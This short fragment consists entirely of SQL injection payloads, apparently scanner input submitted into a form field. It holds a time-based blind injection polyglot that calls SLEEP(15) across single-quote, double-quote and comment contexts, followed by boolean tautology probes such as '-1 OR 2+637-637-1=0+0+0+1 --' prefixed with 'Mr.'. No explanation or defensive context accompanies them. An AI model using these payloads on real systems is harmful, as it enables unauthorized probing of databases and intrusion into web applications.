(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+"*/  
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  Mr. -1 OR 2+637-637-1=0+0+0+1 -1 OR 2+20-20-1=0+0+0+1 --